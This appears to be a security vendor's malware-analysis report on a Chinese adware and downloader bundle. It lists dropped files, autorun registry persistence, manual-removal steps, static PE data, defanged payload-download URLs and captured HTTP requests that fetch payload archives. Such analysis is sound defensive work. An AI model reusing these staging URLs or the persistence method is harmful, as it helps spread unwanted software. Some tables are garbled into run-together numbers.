    %Documents and Settings%\%current user%\Start Menu\Programs\yyfm0529\yyfm0529.lnk (840 bytes)
    %Program Files%\yyfm0529\2014081121\swresample-0.dll (3312 bytes)
    %Program Files%\yyfm0529\2014081121\libav.dll (6360 bytes)
    %Program Files%\yyfm0529\2014081121\YFMSever.exe (23936 bytes)
    %Program Files%\yyfm0529\2014081121\SysConfig.ini (256 bytes)
    %Documents and Settings%\%current user%\Start Menu\Programs\yyfm0529\¹Ù·½Ö÷Ò³.lnk (334 bytes)
    %Program Files%\yyfm0529\2014081121\Data\client.ini (36 bytes)
    %Program Files%\yyfm0529\2014081121\source.dll (6584 bytes)
    %Program Files%\yyfm0529\2014081121\channels.xml (784 bytes)
    %Program Files%\yyfm0529\2014081121\avcodec-54.dll (23936 bytes)
    %Program Files%\yyfm0529\2014081121\favorfm.xml (440 bytes)
    %Program Files%\yyfm0529\2014081121\Unins.exe (9608 bytes)
    %Program Files%\yyfm0529\2014081121\Data\setup.ini (110 bytes)
    %Program Files%\yyfm0529\2014081121\audio.dll (3616 bytes)
    %Program Files%\yyfm0529\2014081121\Data\version.ini (32 bytes)
    %Program Files%\yyfm0529\2014081121\DuiLib.dll (16288 bytes)
    %Program Files%\yyfm0529\2014081121\avformat-54.dll (12536 bytes)
    %Documents and Settings%\%current user%\Start Menu\Programs\yyfm0529\ÅäÖù¤¾ß\жÔØyyfm0529.lnk (830 bytes)
    %Program Files%\yyfm0529\2014081121\pthreadGC2.dll (3616 bytes)
    %Program Files%\yyfm0529\2014081121\avcore.dll (2392 bytes)
    %Program Files%\yyfm0529\2014081121\yymusic05.exe (63950 bytes)
    %Program Files%\yyfm0529\2014081121\avutil-52.dll (5520 bytes)
    %Program Files%\yyfm0529\2014081121\Data\user2.ini (40 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsz3.tmp\spkjrjp_30279.exe (38675 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsz3.tmp\wwwww_3340.exe (433142 bytes)
    %Program Files%\updatr\tj.txt (3 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsz3.tmp\pczh_107_306.exe (46502 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsz3.tmp\System.dll (11 bytes)
    %Program Files%\updatr\oovmdw_70745.exe (51840 bytes)
    %Program Files%\updatr\uboskin\config.ini (290 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsz3.tmp\guagua_77150006814.exe (111890 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsj2.tmp (65883 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsz3.tmp\NSISdl.dll (14 bytes)
    %Program Files%\updatr\yunbo0717.exe (6360 bytes)
    %Program Files%\updatr\union.exe (6360 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsz3.tmp\mi (1 bytes)
    %Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddl.bca.bak (674 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\dl.dll (65930 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\BDMReport.dll.bdl (33840 bytes)
    %Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddlp.bca (24 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\BDMDownload.dll (5520 bytes)
    %Documents and Settings%\All Users\Application Data\Baidu\Desktop\Global.db (16 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\System.dll (784 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\BDMNet.dll.bdl (30837 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\bdt\33f59beac1c942dd19f41a7fd30f3f9b.bdt (647 bytes)
    %Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddlp.bca.bak (16 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\hu.dll (3312 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\dl(1).dll.bdl (366657 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\bdt\68905108990c088c31aead3b6d1651be.bdt (519 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\tmpjnmhqw.dll (27504 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\res\onlineWnd.zip (14184 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\BDLogicUtils.dll.bdl (47101 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\bdt\a644398e96b2e49d735a01f51e447930.bdt (3 bytes)
    %Documents and Settings%\All Users\Application Data\Baidu\Common\Global.db (100 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\BDMNetGetInfo.dll (11344 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nss5.tmp (111370 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\BDMSkin.dll (36698 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\bdt\f2d00606824cd42a1c03eb9caa15e29f.bdt (631 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ffee2f88\DMSet.Xml (215 bytes)
    %Program Files%\yyfm0529\2014081121\Data\server.ini (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\a[1].htm (3 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ver[1].txt (36 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\tj[1].ashx (3 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\stj[1].ashx (3 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\fengyunzhibo[1] (1644 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\hm[2].js (15 bytes)
    %Documents and Settings%\%current user%\UserData\YJM90VAL\www.fengyunzhibo[1].xml (478 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\home-v3[1].js (6872 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\DD_belatedPNG_0.0.8a-min[1].js (3009 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\snapshot[2].jpg (2 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\csbh200150[1].jpg (5193 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\header-v3[2].js (2196 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\zhibo2[1].htm (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\load_small[1].gif (556 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\CAQRGDKX.gif (43 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\header-v3[2].css (14 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\header-v3-media[1].css (454 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\weixinscan[1].jpg (19100 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[6].jpg (1995 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\stat[1].php (2912 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[8].jpg (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\to-new[1].png (72 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[9].jpg (2 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\home-v3[1].css (4 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[2].jpg (148 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\home-v3[1].css (14 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\snapshot[1].jpg (156 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[5].jpg (2566 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\stat[1].gif (43 bytes)
    %Documents and Settings%\%current user%\Cookies\Current_User@fengyunzhibo[1].txt (767 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\core[1].php (751 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\jquery-1.8.3.min[1].js (56651 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\default_avatar_s[1].png (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Cookies\Current_User@www.fengyunzhibo[1].txt (883 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[1].jpg (2454 bytes)
    %Documents and Settings%\%current user%\Cookies\Current_User@mmstat[1].txt (170 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\CAZMOJ7D.gif (43 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[3].jpg (4 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\snapshot[1].jpg (569 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\CAEJ6JMD.gif (43 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\snapshot[2].jpg (1997 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\atrk[2].js (3 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\snapshot[4].jpg (3367 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\c[1].php (4285 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\snapshot[4].jpg (4 bytes)
    %Documents and Settings%\%current user%\Cookies\Current_User@hm.baidu[1].txt (164 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\header-v3[1].js (1321 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\VGXC.tmp (56 bytes)
    %Documents and Settings%\%current user%\Cookies\Current_User@www.fengyunzhibo[2].txt (351 bytes)
    %Documents and Settings%\%current user%\Cookies\Current_User@cnzz.mmstat[1].txt (205 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\snapshot[3].jpg (2451 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\header-v3[1].css (4 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\fystat.min[2].js (1 bytes)
    %Documents and Settings%\%current user%\Cookies\Current_User@fengyunzhibo[2].txt (1189 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\snapshot[3].jpg (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\box-v3[1].js (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\snapshot[1].jpg (4 bytes)
    %Documents and Settings%\%current user%\UserData\2Z89WTQV\www.fengyunzhibo[1].xml (266 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\home-v3[1].png (13875 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\nav-bk[1].png (126 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\hm[1].js (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\core[2].php (750 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\banner-hyperx-20140728[1].jpg (16784 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\hm[2].js (15 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\1pc[1].png (95 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\img_loading_v3[1].gif (773 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\new_message[1].js (1657 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\cover_bk[1].png (68 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\fyminiloader-min[2].js (660 bytes)
    %Documents and Settings%\%current user%\Cookies\Current_User@tv.aiqingzhihui[1].txt (257 bytes)
    %Documents and Settings%\%current user%\Cookies\Current_User@cnzz[1].txt (165 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\json2[1].js (223 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\fystat.min[1].js (564 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\fyminiloader-min[1].js (363 bytes)
    %Documents and Settings%\%current user%\Cookies\index.dat (12240 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\new_message[1].css (73 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\show_card[1].js (25 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\snapshot[2].jpg (464 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\fengyunzhibo[1].htm (526 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[7].jpg (4 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\hm[1].js (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\loading[1].gif (4285 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\box-v3[2].js (4 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\atrk[1].js (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[4].jpg (4 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "yyfm0529_2014081121" = "%Program Files%\yyfm0529\2014081121\yymusic05.exe -mini"

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "yyfm0529_News_2014081121" = "%Program Files%\yyfm0529\2014081121\YFMSever.exe -mini"

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.
*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name: yunbo.cn
Product Name: ${PRODUCT_NAME}
Product Version: 2014.07.25.112739
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version:
File Description:
Comments:
Language: Chinese (Simplified, PRC)

Company Name: yunbo.cnProduct Name: ${PRODUCT_NAME}Product Version: 2014.07.25.112739Legal Copyright: Legal Trademarks: Original Filename: Internal Name: File Version: File Description: Comments: Language: Chinese (Simplified, PRC)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text409623488235524.489097ebfade271f75cb4c180603ab653af42
.rdata28672449646083.591399d6e96915262c9d1129a16fa0b02a19a
.data3686411045610243.27356dbf10679c897d0edeee280fffdad552f
.ndata1474564096000d41d8cd98f00b204e9800998ecf8427e
.rsrc18841671888721924.94901c9dfd0da2d130aad197f15eefd45660c

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL IP
hxxp://yunbo.njdyx.cn/app.txt61.160.251.6
hxxp://yunbo.njdyx.cn/guagua_77150006814.zip61.160.251.6
hxxp://pxsw.n.shifen.com/
hxxp://baidubrs.dlmix.glb0.lxdns.com/client/dllw5/BDLogicUtils.dll
hxxp://swdownload.jomodns.com/sw-search-sp/client2/common/patch/19562458020/BDLogicUtils.dll
hxxp://baidubrs.dlmix.glb0.lxdns.com/client/dllv5/BDMReport.dll
hxxp://baidubrs.dlmix.glb0.lxdns.com/client/BDMReport.dll
hxxp://baidubrs.dlmix.glb0.lxdns.com/client/dllv3/BDMReport.dll
hxxp://swdownload.jomodns.com/sw-search-sp/client2/common/patch/19035267599/BDMReport.dll
hxxp://swdownload.jomodns.com/sw-search-shadu/client/dllv3/BDMReport.dll
hxxp://baidubrs.dlmix.glb0.lxdns.com/client/dllws/BDMNet.dll
hxxp://sxsw.n.shifen.com/
hxxp://swdownload.jomodns.com/sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll
hxxp://yunbo.njdyx.cn/pczh_107_306.zip61.160.251.6
hxxp://admin.downloader.re63.cn/downcontainer/downLoadList.do122.226.104.80
hxxp://admin.downloader.re63.cn/downcontainer/downLoadForGuaGua.do?recid=77150006814122.226.104.80
hxxp://admin.downloader.re63.cn/downloader/start?dlver=G1.0.0&pname=guagua&pver=514&cmdtype=0&cmdid=77150006814&ad=0&oemid=0&fromurl=&webid=122.226.104.80
hxxp://img001.com/tg_pic/1.png36.250.9.8
hxxp://img001.com/tg_pic/2.png36.250.9.8
hxxp://yunbo.njdyx.cn/wwwww_3340.zip61.160.251.6
hxxp://img001.com/tg_pic/3.png36.250.9.8
hxxp://c01.i06.arnic.hadns.net/0403/help1.html
hxxp://img001.com/tg_pic/4.png36.250.9.8
hxxp://img001.com/tg_pic/5.png36.250.9.8
hxxp://c01.i06.arnic.hadns.net/zhibo2.html?id=pczh_107_306.exe&en=2014-8-11&go=
hxxp://img001.com/tg_pic/mobo14-1-9.png36.250.9.8
hxxp://sxcdn.kukuplay.com/support/mini/fyminiloader-min.js
hxxp://c.split.cnzz.com/stat.php?id=2701879&web_id=2701879
hxxp://dft.nc.fengyunzhibo.com/mini/fymini.htm?f=aiqingzhihui&code=null
hxxp://dlsw.baidu.com/sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll180.76.22.47
hxxp://s.x.baidu.com/180.76.2.46
hxxp://p.x.baidu.com/123.125.65.152
hxxp://yunbo.luopf.cn/wwwww_3340.zip61.160.251.6
hxxp://dlsw.baidu.com/sw-search-sp/client2/common/patch/19562458020/BDLogicUtils.dll180.76.22.47
hxxp://dl1sw.baidu.com/client/dllw5/BDLogicUtils.dll8.37.235.11
hxxp://dl1sw.baidu.com/client/dllws/BDMNet.dll8.37.235.11
hxxp://update.aiqingzhihui.com/0403/help1.html218.76.217.140
hxxp://dl1sw.baidu.com/client/dllv3/BDMReport.dll8.37.235.11
hxxp://dlsw.baidu.com/sw-search-shadu/client/dllv3/BDMReport.dll180.76.22.47
hxxp://yunbo.luopf.cn/guagua_77150006814.zip61.160.251.6
hxxp://dl1sw.baidu.com/client/dllv5/BDMReport.dll8.37.235.11
hxxp://static.m0dlcdn.kukuplay.com/support/mini/fyminiloader-min.js211.142.30.27
hxxp://dl1sw.baidu.com/client/BDMReport.dll8.37.235.11
hxxp://tv.aiqingzhihui.com/zhibo2.html?id=pczh_107_306.exe&en=2014-8-11&go=222.186.20.122
hxxp://dlsw.baidu.com/sw-search-sp/client2/common/patch/19035267599/BDMReport.dll180.76.22.47
hxxp://s6.cnzz.com/stat.php?id=2701879&web_id=27018791.99.192.15
hxxp://yunbo.luopf.cn/pczh_107_306.zip61.160.251.6
hxxp://cj.guagua.cn/downloader/start?dlver=G1.0.0&pname=guagua&pver=514&cmdtype=0&cmdid=77150006814&ad=0&oemid=0&fromurl=&webid=122.226.104.80
dtrp.download.iyuntian.com123.125.65.150
cfg.download.iyuntian.com123.125.65.132
jp.download.iyuntian.com123.125.65.154
c.cnzz.com42.120.219.6
res.download.iyuntian.com123.125.65.129
tk.download.iyuntian.com123.125.69.209
rc.download.iyuntian.com123.125.65.153
mini.fengyunzhibo.com1.99.192.17
hzs17.cnzz.com42.156.140.23
utk.download.iyuntian.com123.125.65.147

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

<font color="red">GET /client/BDMReport.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=1048576-<br>

Referer: hXXp://xf.baidu.com<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Tue, 09 Sep 2014 16:02:42 GMT<br>

Date: Sun, 10 Aug 2014 16:02:42 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Wed, 15 May 2013 01:54:31 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 1048576-1207519/1207520<br>

Content-Length: 158944<br>

Age: 96470<br>

Via: 1.0 fjqz153:8080 (Cdn Cache Server V2.0), 1.0 sdbz73:8104 (Cdn Cache Server V2.0), 1.0 jg9:8888 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDMReport.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /guagua_77150006814.zip HTTP/1.0<br>

Host: yunbo.luopf.cn<br>

User-Agent: NSISDL/1.2 (Mozilla)<br>

Accept: */*<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Content-Length: 921448<br>

Content-Type: application/x-zip-compressed<br>

Last-Modified: Thu, 24 Jul 2014 04:31:48 GMT<br>

Accept-Ranges: bytes<br>

ETag: "76aed22ef8a6cf1:32d"<br>

Server: Microsoft-IIS/6.0<br>

Date: Mon, 11 Aug 2014 18:50:50 GMT<br>

<<< skipped >>>

<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=6815744-<br>

Referer: hXXp://dlsw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Mon, 11 Aug 2014 18:50:46 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 19188560<br>

Connection: close<br>

ETag: c7062e404128917808756500d58121ee<br>

Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>

Expires: Tue, 12 Aug 2014 15:00:39 GMT<br>

Age: 186607<br>

Content-Range: bytes 6815744-26004303/26004304<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>

x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>

x-bs-meta-crc32: 2839405489<br>

Content-MD5: c7062e404128917808756500d58121ee<br>

<<< skipped >>>

<font color="red">GET /pczh_107_306.zip HTTP/1.0<br>

Host: yunbo.luopf.cn<br>

User-Agent: NSISDL/1.2 (Mozilla)<br>

Accept: */*<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Content-Length: 415552<br>

Content-Type: application/x-zip-compressed<br>

Last-Modified: Sun, 13 Jul 2014 03:35:27 GMT<br>

Accept-Ranges: bytes<br>

ETag: "f81e17d4b9ecf1:32d"<br>

Server: Microsoft-IIS/6.0<br>

Date: Mon, 11 Aug 2014 18:51:09 GMT<br>

<<< skipped >>>

<font color="red">GET /app.txt HTTP/1.0<br>

Host: yunbo.njdyx.cn<br>

User-Agent: NSISDL/1.2 (Mozilla)<br>

Accept: */*<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Content-Length: 1321<br>

Content-Type: text/plain<br>

Last-Modified: Fri, 25 Jul 2014 03:40:40 GMT<br>

Accept-Ranges: bytes<br>

ETag: "1e984b34baa7cf1:32d"<br>

Server: Microsoft-IIS/6.0<br>

Date: Mon, 11 Aug 2014 18:50:48 GMT<br>

<<< skipped >>>

<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=13893632-<br>

Referer: hXXp://dlsw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Mon, 11 Aug 2014 18:50:56 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 12110672<br>

Connection: close<br>

ETag: c7062e404128917808756500d58121ee<br>

Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>

Expires: Tue, 12 Aug 2014 15:00:39 GMT<br>

Age: 186617<br>

Content-Range: bytes 13893632-26004303/26004304<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>

x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>

x-bs-meta-crc32: 2839405489<br>

Content-MD5: c7062e404128917808756500d58121ee<br>

<<< skipped >>>

<font color="red">GET /client/dllws/BDMNet.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=425984-<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Wed, 27 Aug 2014 23:18:00 GMT<br>

Date: Mon, 28 Jul 2014 23:18:00 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Thu, 10 Apr 2014 08:10:19 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 425984-1178447/1178448<br>

Content-Length: 752464<br>

Age: 1193554<br>

Via: 1.0 wzpy201:80 (Cdn Cache Server V2.0), 1.0 shiben9:8888 (Cdn Cache Server V2.0)<br>

Connection: close<br>

